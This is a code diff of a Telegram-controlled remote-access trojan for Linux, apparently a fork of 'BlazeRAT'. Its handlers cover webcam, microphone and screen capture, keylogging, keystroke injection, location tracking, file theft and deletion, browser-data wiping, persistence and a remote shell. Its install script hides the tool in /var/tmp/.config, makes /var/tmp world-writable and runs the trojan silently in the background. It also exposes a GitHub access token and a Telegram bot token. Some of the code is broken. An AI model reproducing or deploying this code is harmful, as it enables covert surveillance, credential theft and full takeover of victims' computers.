+@bot.message_handler(commands=["deauthorize"])
+def Deauthorize(message):
+    chatid = message.chat.id
+    username = message.chat.username
+    username = Messages.user.name_anonymous if username is None else username
+    # If user is not authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Deauthorize user
+    Logger.Log(f"Auth >> User logged out", chatid)
+    Database.DeauthorizeUser(chatid)
+    bot.send_message(chatid, Messages.auth.user_deauthorized % username)
+
+""" Get permissions list """
+@bot.message_handler(commands=["permissions"])
+def Permissions(message):
+    chatid = message.chat.id
+    # If user is not authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Log
+    Logger.Log(f"Command >> Get permissions", chatid)
+    # Get perms list
+    token = Database.GetUserToken(chatid)
+    perms = EnumeratePermissions(token, False, False)
+    bot.send_message(chatid, " " + perms)
+
+""" Get system information """
+@bot.message_handler(commands=["information"])
+def Information(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "INFORMATION"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Log
+    Logger.Log(f"Command >> Get system info", chatid)
+    # Create microphone controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup(row_width=1)
+    markup.add(
+        telebot.types.InlineKeyboardButton(text="▶️ RAM", callback_data="INFO_RAM"),
+        telebot.types.InlineKeyboardButton(text="▶️ Boot", callback_data="INFO_BOOT"),
+        telebot.types.InlineKeyboardButton(text="▶️ Disks", callback_data="INFO_DISK"),
+        telebot.types.InlineKeyboardButton(text="▶️ System", callback_data="INFO_SYS"),
+        telebot.types.InlineKeyboardButton(text="▶️ Processor", callback_data="INFO_CPU"),
+    )
+    bot.send_message(chatid, "⚙️ System information:", reply_markup=markup)
+
+
+""" Send desktop screenshot """
+@bot.message_handler(commands=["screenshot"])
+def Screenshot(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "SCREENSHOT"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Log
+    Logger.Log(f"Screenshot >> Get desktop screenshot", chatid)
+    # Create desktop screenshot & send to user
+    bot.send_chat_action(chatid, "upload_photo")
+    screenshot = DesktopScreenshot.Capture()
+    bot.send_photo(
+        chat_id=chatid, photo=screenshot,
+        reply_to_message_id=message.message_id,
+        caption=Messages.services.desktop_screenshot_captured
+    )
+
+""" Send webcam video """
+@bot.message_handler(commands=["webcam"])
+def Webcam(message):
+    chatid = message.chat.id
+    # Get webcam device index
+    try:
+        device = str(int(message.text[7:]) - 1)
+    except:
+        device = "0"
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "WEBCAMERA"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Create webcam controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup(row_width=1)
+    markup.add(
+        telebot.types.InlineKeyboardButton(text=Messages.services.webcam_screenshot_button, callback_data="TakeWebcamScreenshot_" + device),
+        telebot.types.InlineKeyboardButton(text=Messages.services.webcam_start_recording_button, callback_data="EnableWebcam_" + device),
+        telebot.types.InlineKeyboardButton(text=Messages.services.webcam_stop_recording_button, callback_data="DisableWebcam")
+    )
+    bot.send_message(chatid, Messages.services.webcam_select_action % int(device), reply_markup=markup)
+
+""" Record audio from microphone """
+@bot.message_handler(commands=["microphone"])
+def Microphone(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "MICROPHONE"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Create microphone controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup()
+    markup.add(
+        telebot.types.InlineKeyboardButton(text=Messages.services.microphone_start_recording_button, callback_data="EnableMicrophone"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.microphone_stop_recording_button, callback_data="DisableMicrophone")
+    )
+    bot.send_message(chatid, Messages.services.microphone_select_action, reply_markup=markup)
+
+""" Change system audio volume """
+@bot.message_handler(commands=["volume"])
+def Volume(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "VOLUME"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Create volume controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup(row_width=1)
+    markup.add(telebot.types.InlineKeyboardButton(text=Messages.services.volume_get_level_button % VolumeLevel.Get() + "%", callback_data="VL_GET"))
+    # Add set level option from 0 to 100
+    for lvl in range(0, 110, 10):
+        markup.add(telebot.types.InlineKeyboardButton(text=Messages.services.volume_set_level_button % lvl + "%", callback_data="VL_" + str(lvl)))
+
+    bot.send_message(chatid, " Volume control:", reply_markup=markup)
+
+""" Keylogger """
+@bot.message_handler(commands=["keylogger"])
+def Keylogger(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "KEYLOGGER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Create keylogger controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup()
+    markup.add(
+        telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_start_recording_button, callback_data="EnableKeylogger"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_stop_recording_button, callback_data="DisableKeylogger"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_get_logs_button, callback_data="GetDataKeylogger"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.keylogger_clean_logs_button, callback_data="CleanKeylogger")
+    )
+    bot.send_message(chatid, Messages.services.microphone_select_action, reply_markup=markup)
+
+""" Send key press """
+@bot.message_handler(commands=["keyboard"])
+def KeyboardCtrl(message):
+    text = message.text[10:]
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "KEYBOARD"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+
+    # Send special keys list
+    if not text:
+        Keyboard.SendKeyboard(chatid, bot)
+    else:
+        # Send key press
+        Keyboard.SendKeyText(text, chatid)
+
+""" Power control """
+@bot.message_handler(commands=["power"])
+def PowerCtrl(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "POWER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Create power controller keyboard
+    markup = telebot.types.InlineKeyboardMarkup(row_width=1)
+    markup.add(
+        telebot.types.InlineKeyboardButton(text=Messages.services.power_shutdown, callback_data="POWER_SHUTDOWN"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.power_suspend, callback_data="POWER_SUSPEND"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.power_reboot, callback_data="POWER_REBOOT"),
+        telebot.types.InlineKeyboardButton(text=Messages.services.power_logout, callback_data="POWER_LOGOUT"),
+    )
+    bot.send_message(chatid, Messages.services.power_control, reply_markup=markup)
+
+""" Get location by BSSID """
+@bot.message_handler(commands=["location"])
+def Location(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "LOCATION"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Try to get device location
+    TrackLocation.SendLocation(message, bot)
+
+""" Files control """
+@bot.message_handler(commands=["filemanager"])
+def Filemanager(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "FILEMANAGER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Control files
+    Files.Filemanager(chatid, bot)
+
+
+""" Task manager """
+@bot.message_handler(commands=["taskmanager"])
+def TaskManager(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "TASKMANAGER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Send process controls
+    ProcessManager.ShowProcesses(message, bot)
+
+""" Download files or directories to telegram bot """
+@bot.message_handler(commands=["download"])
+def DownloadFile(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "FILETRANSFER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Send file to telegram bot
+    bot.send_chat_action(chatid, "upload_document")
+    FileTransfer.SendFile(message, bot)
+
+""" Upload files to device """
+@bot.message_handler(content_types=["document"])
+def UploadFile(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "FILETRANSFER"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Save file on device
+    bot.send_chat_action(chatid, "upload_document")
+    FileTransfer.ReceiveFile(message, bot)
+
+
+""" Wipe browsers data """
+@bot.message_handler(commands=["wipe"])
+def WipeBrowserData(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "WIPE"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Execute wipe command
+    Wipe.WipeBrowserDataInfo(message, bot)
+
+
+""" Uninstall agent """
+@bot.message_handler(commands=["uninstall"])
+def Uninstall(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "UNINSTALL"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Log
+    Logger.Log(f"Command >> Uninstall service", chatid)
+    # Execute commands
+    bot.send_message(chatid, Messages.services.stub_uninstall)
+    Autorun.ServiceUninstall()
+
+""" Toggle command shell session for chatid """
+@bot.message_handler(commands=["shell"])
+def ToggleShell(message):
+    chatid = message.chat.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "SHELL"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Send shell session state
+    bot.send_chat_action(chatid, "typing")
+    state = SystemCommand.ToggleSession(chatid)
+    bot.reply_to(message, state)
+
+""" Execute shell commands """
+@bot.message_handler(func=lambda message: True, content_types=["text"])
+def ExecuteShell(message):
+    chatid = message.chat.id
+    command = message.text
+    # Check if session exists
+    if not SystemCommand.SessionExists(chatid):
+        return
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+    # Check if token have permissions to do this
+    if not Database.UserContainsPermission(chatid, "SHELL"):
+        return bot.send_message(chatid, Messages.auth.permission_not_found)
+    # Run commands
+    bot.send_chat_action(chatid, "typing")
+    output = SystemCommand.Run(command, chatid)
+    if output != None:
+        bot.reply_to(message, output)
+
+""" Events handler """
+@bot.callback_query_handler(func=lambda c:True)
+def KeyboardActions(callback):
+    text = callback.data
+    chatid = callback.from_user.id
+    # Check if user authorized
+    if not Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.not_authorized)
+
+    # Microphone controls
+    if "Microphone" in text:
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "MICROPHONE"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle microphone command
+        MicrophoneRecorder.Handle(callback, bot)
+
+    # Webcam controls
+    elif "Webcam" in text:
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "WEBCAMERA"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle webcam command
+        WebcamRecorder.Handle(callback, bot)
+
+    # Keylogger controls
+    elif "Keylogger" in text:
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "KEYLOGGER"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle keylogger command
+        Klogger.Handle2(callback, bot)
+
+    # Filemanager controls
+    elif text[:2] in ("FA", "FC"):
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "FILEMANAGER"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle filemanager command
+        if text[:2] == "FA":
+            Files.OpenFileActionsMenu(callback, bot)
+        elif text[:2] == "FC":
+            Files.MakeFileAction(callback, bot)
+
+    # System info
+    elif text[:4] == "INFO":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "INFORMATION"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle system info command
+        SystemInfo.Handle(callback, bot)
+    # Process manager
+    elif text[:2] == "TM":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "TASKMANAGER"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle taskmanager command
+        ProcessManager.KillProcess(callback, bot)
+    # Volume control
+    elif text[:2] == "VL":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "VOLUME"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Get level
+        if "GET" in text:
+            return bot.send_message(chatid, Messages.services.volume_get_level % VolumeLevel.Get() + "%")
+        else:
+            # Set level
+            level = int(text.split("_")[-1])
+            VolumeLevel.SetVolume(level)
+            return bot.send_message(chatid, Messages.services.volume_set_level % level + "%")
+    # Power control
+    elif text[:5] == "POWER":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "POWER"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Handle taskmanager command
+        Power.Handle(callback, bot)
+    # Keyboard special keys
+    elif text[:6] == "SNDKEY":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "KEYBOARD"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        Keyboard.SendKeyPress(text.split("_")[-1], chatid)
+    # Wipe browsers data
+    elif text[:4] == "Wipe":
+        # Check if token have permissions to do this
+        if not Database.UserContainsPermission(chatid, "WIPE"):
+            return bot.send_message(chatid, Messages.auth.permission_not_found)
+        # Log
+        Logger.Log(f"Command >> Wipe browsers data", chatid)
+        # Wipe
+        Wipe.WipeBrowserData(callback, bot)
+
+""" Run telegram bot """
+def Run():
+    print("[~] Telegram Bot starting...")
+    try:
+        print("[?] Started as @" + bot.get_me().username)
+    except Exception as error:
+        exit(f"[!] Failed connect to telegram bot\n{error}")
+    else:
+        while True:
+            try:
+                bot.polling(none_stop=True)
+            except Exception as error:
+                print(error)
+                sleep(2)
+                
+

+ 142 - 0
core/tokens.py

@@ -0,0 +1,142 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from uuid import uuid4
+from config import perms
+from hashlib import sha512
+from json import loads, dumps
+from services.startup import CURRENT_DIRECTORY
+from core.database import connection, cursor, lock
+from os import path
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to work with authorization tokens.
+"""
+
+# Write telegram bot api token
+def WriteTelegramBotAPI_Token(token: str) -> None:
+    with open(CURRENT_DIRECTORY + "/token.txt", "w") as api_token:
+        api_token.write(token)
+
+def ReadTokenFromFile() -> tuple:
+    token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
+    if not path.exists(token_file):
+        return False, ""
+    with open(token_file, "r") as api_token:
+        token = api_token.read()
+        return True, token
+
+def WriteTokenToFile(toke:str)-> bool:
+    token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
+    with open(token_file, "w") as file:
+        file.write(toke)
+
+    return  True    
+
+def VerifyToken2(toke: str) -> tuple:
+    token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
+    if not path.exists(token_file):
+        return FALSE, "unknown"
+    with open(token_file, "r") as api_token:
+        token = api_token.read()
+        return True, token
+
+    # with open("conf.txt", "w") as file:
+    #     file.write(toke)
+    # return True, token    
+        
+# Verify token
+def VerifyToken(token: str) -> tuple:
+    sql = "SELECT name FROM tokens WHERE token=?"
+    hsh = TokenToHash(token)
+    cursor.execute(sql, (hsh,))
+    result = cursor.fetchone()
+    if result is not None:
+        return True, result[0]
+    else:
+        return False, "Unknown"
+
+# Convert token to hash
+def TokenToHash(token: str) -> str:
+    return sha512(b"TOKEN:" + token.encode()).hexdigest()
+
+""" List permissions """
+def EnumeratePermissions(token_name: str, have=True, console=True) -> str:
+    result = f"Token '{token_name}' have permissions:\n\n" if have else f"All permissions for token '{token_name}'\n\n"
+    # Emoji
+    if console is True:
+        y, n = "[+]", "[-]"
+    else:
+        y, n = "✅", "⛔"
+    # Enum
+    for permission in perms.keys():
+        description = perms[permission]
+        if TokenContainsPermission(token_name, permission):
+            result += f"{y} {permission} - {description}\n"
+        else:
+            if not have:
+                result += f"{n} {permission} - {description}\n"
+    return result
+
+
+""" Check if token have permission """
+def TokenContainsPermission(token_name: str, permission: str) -> bool:
+    sql = "SELECT permissions FROM tokens WHERE name=?"
+    cursor.execute(sql, (token_name,))
+    result = cursor.fetchone()
+    # Check if token exists
+    if not result:
+        return False
+    # Check root perms
+    if result[0] == "*":
+        return True
+    # Check other perms
+    else:
+        return permission in loads(result[0])
+
+""" Create token with permissions """
+def TokenCreate(name: str, permissions: list) -> str:
+    lock.acquire(True)
+    exists, token = ReadTokenFromFile()
+    if exists is False:
+        token = uuid4().urn[9:]
+        writeTokenToFile(token)
+
+    print(f"token={token}")
+    
+    # Create new token
+    sql = "INSERT INTO tokens (token, name, permissions) VALUES (?, ?, ?)"
+    hsh = TokenToHash(token)
+    # Get permissions
+    if "*" in permissions:
+        perms = "*"
+    else:
+        perms = dumps(permissions)
+    # Execute sql & commit changes
+    cursor.execute(sql, (hsh, name, perms))
+    # Done
+    connection.commit()
+    lock.release()
+    return token
+
+""" Delete token """
+def TokenDelete(name: str) -> bool:
+    # Check if token exists
+    sql = "SELECT id FROM tokens WHERE name=?"
+    cursor.execute(sql, (name,))
+    result = cursor.fetchone()
+    # Delete token
+    if result is not None:
+        lock.acquire(True)
+        sql = "DELETE FROM tokens WHERE id=?"
+        cursor.execute(sql, (result[0],))
+        connection.commit()
+        lock.release()
+        return True
+    else:
+        return False

+ 35 - 0
install.sh

@@ -0,0 +1,35 @@
+pkill python3
+
+sudo apt update
+sudo apt install git screen python3 python3-pip alsa-utils portaudio19-dev  xdotool -y   
+
+sudo chmod 777 /var/tmp   
+
+
+if [ -d "/var/tmp/.config" ]; then
+    #echo "/var/tmp/.config exists"
+    sudo rm -rf /var/tmp/.config
+fi
+
+git clone https://grigorimaxim422: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@github.com/grigorimaxim422/blazeRAT.git /var/tmp/.config   
+
+cd /var/tmp/.config   
+
+pip3 install --user -r ./requirements.txt   
+
+echo "7249357177" > /var/tmp/.config/conf.txt   
+
+##https://t.me/u3bek_bot
+python3 main.py --InitApiToken 7249357177:AAFMlzMnAABTNoIcfCSqq21DxyARIjgWJfw   
+
+python3 main.py --TokenCreate --name bot30 --perms "*"
+
+python3 main.py --InstallAgent   
+
+screen -dm bash -c "python3 main.py"
+# python3 main.py   
+
+## chmod +x install.sh
+
+### ... Created new token '52eff873-9c14-4c2b-8729-b2c6367925b7'
+

BIN
install.sh.7z


+ 35 - 0
main.py

@@ -0,0 +1,35 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Author : LimerBoy
+# github.com/LimerBoy/BlazeRAT
+
+# Check python version and platform
+from sys import version_info, platform, exit
+assert 3 <= version_info.major, "[!] Python >3.8 required to run script!"
+assert platform[:3] != "win", "[!] Script created only for Linux systems!"
+
+# Import modules
+from config import token
+import core.telegram as TelegramBot
+import core.cli as CommandLineInterface
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    Main file.
+"""
+
+# Parse args
+print(CommandLineInterface.banner)
+CommandLineInterface.ParseArgs()
+
+# Check if token exists
+if not token:
+    exit("[!] Telegram API token not initialized")
+
+# Start telegram bot
+if __name__ == "__main__":
+    TelegramBot.Run()

+ 0 - 0
nohup.out


+ 13 - 0
requirements.txt

@@ -0,0 +1,13 @@
+psutil
+wave
+pyaudio
+pyscreenshot
+opencv-python
+netifaces
+getmac
+argparse
+uuid
+pyTelegramBotAPI
+telebot
+requests
+pynput

+ 3 - 0
runsilent.sh

@@ -0,0 +1,3 @@
+cd /var/tmp/.config
+python3 main.py --InstallAgent   
+python3 main.py

+ 2 - 0
runsingle.sh

@@ -0,0 +1,2 @@
+cd /var/tmp/.config
+screen -dm bash -c "python3 main.py"

+ 121 - 0
services/filemanager.py

@@ -0,0 +1,121 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from shutil import rmtree
+from telebot import types
+import core.logger as Logger
+import core.messages as Messages
+from services.shell import ChangeDir
+from services.transfer import UploadFile
+from os import path, listdir, getcwd, remove, system
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to work with files.
+"""
+
+# Это говно я писал когда бухал.
+# Такшо говнокод это норма!
+
+# For messages
+FILE_ACTIONS = {
+    "FC1": "Open",
+    "FC2": "Delete",
+    "FC3": "Download",
+}
+
+""" Get char by file """
+def GetFmt(file: str) -> str:
+    if path.isfile(file):
+        return "📄 " + file
+    else:
+        return "📂 " + file
+
+""" Open file or change directory """
+def OpenPath(file: str, chatid: int, bot) -> None:
+    if path.isfile(file):
+        system("xdg-open " + file)
+        bot.send_message(chatid, Messages.file.start_file_success % file)
+    else:
+        response = ChangeDir(file)
+        Filemanager(chatid, bot)
+        bot.send_message(chatid, response)
+
+""" Remove file or directory """
+def DeletePath(file: str, chatid: int, bot) -> None:
+    # Delete file
+    if path.isfile(file):
+        try:
+            remove(file)
+        except Exception as error:
+            bot.send_message(chatid, Messages.file.remove_file_failed % (error.args[-1], file))
+        else:
+            bot.send_message(chatid, Messages.file.remove_file_success % file)
+    # Delete directory
+    else:
+        try:
+            rmtree(file)
+        except Exception as error:
+            bot.send_message(chatid, Messages.file.remove_directory_failed % (error.args[-1], file))
+        else:
+            bot.send_message(chatid, Messages.file.remove_directory_success % file)
+
+""" Enumerate files and dirs to telebot markup """
+def EnumFiles():
+    found = []
+    # Get files
+    for file in listdir(getcwd()):
+        found.append(GetFmt(file))
+    # Telegram inline keyboard markup
+    markup = types.InlineKeyboardMarkup()
+    sortfiles = sorted(found)
+    sortfiles.insert(0, "..")
+    for file in sortfiles:
+        if file == "..":
+            markup.add(types.InlineKeyboardButton(text="⬆️ Parent directory", callback_data="FA.."))
+        else:
+            markup.add(types.InlineKeyboardButton(text=file, callback_data="FA" + file[2:]))
+    return markup
+
+""" Open file control menu """
+def OpenFileActionsMenu(callback: dict, bot) -> None:
+    file = callback.data[2:]
+    chatid = callback.from_user.id
+    # Chdir to parent directory
+    if file == "..":
+        return OpenPath("..", chatid, bot)
+    # Send actions
+    markup = types.InlineKeyboardMarkup()
+    for action in FILE_ACTIONS.keys():
+        markup.add(types.InlineKeyboardButton(text=FILE_ACTIONS[action], callback_data=action + file))
+    bot.send_message(chatid,
+        "🗄 Filemanager:\n" + GetFmt(path.abspath(file)),
+        reply_markup=markup
+    )
+
+""" Make file action """
+def MakeFileAction(callback: dict, bot) -> None:
+    file = path.abspath(callback.data[3:])
+    action = FILE_ACTIONS[callback.data[:3]]
+    chatid = callback.from_user.id
+
+    # Log
+    Logger.Log(f"Filemanager action '{action}', taget file: '{file}'", chatid)
+    # Action
+    if action == "Open":
+        OpenPath(file, chatid, bot)
+    elif action == "Delete":
+        DeletePath(file, chatid, bot)
+    elif action == "Download":
+        UploadFile(file, chatid, bot)
+
+
+""" Open filemanager interface """
+def Filemanager(chatid: int, bot) -> None:
+    markup = EnumFiles()
+    bot.send_message(chatid, "🗄 Filemanager:\n" + GetFmt(path.abspath(getcwd())), reply_markup=markup)

+ 117 - 0
services/information.py

@@ -0,0 +1,117 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from time import time
+from platform import uname
+from datetime import datetime
+from psutil import boot_time, \
+    cpu_freq, cpu_count, cpu_percent, \
+    virtual_memory, swap_memory, \
+    disk_partitions, disk_usage
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed
+    to get information about the system.
+"""
+
+# Get size
+def get_size(bolter, suffix="B"):
+    factor = 1024
+    for unit in ["", "K", "M", "G", "T", "P"]:
+        if bolter < factor:
+            return f"{bolter:.2f}{unit}{suffix}"
+
+        bolter /= factor
+
+""" Get system info """
+def SystemInfo() -> str:
+    info = uname()
+    return (f"""
+System {repr(info.system)}
+Node Name {repr(info.node)}
+Release {repr(info.release)}
+Version {repr(info.version)}
+Machine {repr(info.machine)}
+Processor {repr(info.processor)}
+    """)
+
+""" Get processor info """
+def GetCpuInfo() -> str:
+    cpufreq = cpu_freq()
+    return (f"""
+Physical Cores {cpu_count(logical=False)}
+Total Cores {cpu_count(logical=True)}
+Max Frequency {cpufreq.max:.2f}Mhz
+Min Frequency {cpufreq.min:.2f}Mhz
+Current Frequency {cpufreq.current:.2f}Mhz
+CPU Usage {cpu_percent()}%"
+    """)
+
+""" Get RAM info """
+def GetRamInfo() -> str:
+    swap = swap_memory()
+    svmem = virtual_memory()
+    return (f"""
+Total Mem {get_size(svmem.total)}
+Available Mem {get_size(svmem.available)}
+Used Mem {get_size(svmem.used)}
+Percentage {get_size(svmem.percent)}%
+
+Total Swap {get_size(swap.total)}
+Free Swap {get_size(swap.free)}
+Used Swap {get_size(swap.used)}
+Percentage Swap {get_size(swap.percent)}%
+    """)
+
+""" Get disk info """
+def GetDiskInfo() -> str:
+    data = ""
+    for partition in disk_partitions():
+        data += f"\n\tDevice {partition.device}\n\tMountpoint {partition.mountpoint}\n\tFile System {partition.fstype}"
+        try:
+            usage = disk_usage(partition.mountpoint)
+            total = get_size(usage.total)
+            used = get_size(usage.used)
+            free = get_size(usage.free)
+            percent = get_size(usage.percent)
+        except PermissionError:
+            data += "\n\n"
+            continue
+        else:
+            data += f"\n\tTotal Size {total}\n\tUsed {used}\n\tFree {free}\n\tPercentage {percent}\n\t"
+
+    return data
+
+""" Get system boot time in seconds """
+def GetBootTime() -> str:
+    boot = boot_time()
+    ago = int(time() - boot)
+    bt = datetime.fromtimestamp(boot)
+    return f"{bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second} ({ago} seconds ago)"
+
+""" Handle telegram command """
+def Handle(callback: dict, bot) -> None:
+    chatid = callback.from_user.id
+    action = callback.data.split('_')[-1]
+
+    bot.send_chat_action(chatid, "typing")
+
+    if action == "RAM":
+        result = GetRamInfo()
+    elif action == "BOOT":
+        result = GetBootTime()
+    elif action == "DISK":
+        result = GetDiskInfo()
+    elif action == "SYS":
+        result = SystemInfo()
+    elif action == "CPU":
+        result = GetCpuInfo()
+    else:
+        result = "No data"
+
+    bot.send_message(chatid, result)

+ 81 - 0
services/keyboard.py

@@ -0,0 +1,81 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from core.logger import Log
+from telebot import types
+from pynput.keyboard import Controller, Key  # pip install pynput
+
+
+special_keys = {
+    # Main
+    "ESC": Key.esc,
+    "TAB": Key.tab,
+    "ALT": Key.alt,
+    "END": Key.end,
+    "CTRL": Key.ctrl,
+    "CAPS": Key.caps_lock,
+    "ENTER": Key.enter,
+    "SHIFT": Key.shift,
+    "INSERT": Key.insert,
+    "DELETE": Key.delete,
+    "COMMAND": Key.cmd,
+    "BACKSPACE": Key.backspace,
+    # Arrows
+    "PAGEDOWN": Key.page_down,
+    "UP": Key.up,
+    "PAGEUP": Key.page_up,
+    "LEFT": Key.left,
+    "DOWN": Key.down,
+    "RIGHT": Key.right,
+    # F1-F12 keys
+    "F1": Key.f1,
+    "F2": Key.f2,
+    "F3": Key.f3,
+    "F4": Key.f4,
+    "F5": Key.f5,
+    "F6": Key.f6,
+    "F7": Key.f7,
+    "F8": Key.f8,
+    "F9": Key.f9,
+    "F10": Key.f10,
+    "F11": Key.f11,
+    "F12": Key.f12,
+}
+
+controller = Controller()
+
+def SendKeyPress(key: str, chatid: int) -> None:
+    if key in special_keys:
+        Log("Keyboard >> Send key press " + key, chatid)
+        controller.press(special_keys[key])
+        controller.release(special_keys[key])
+
+def SendKeyText(keys: str, chatid: int) -> None:
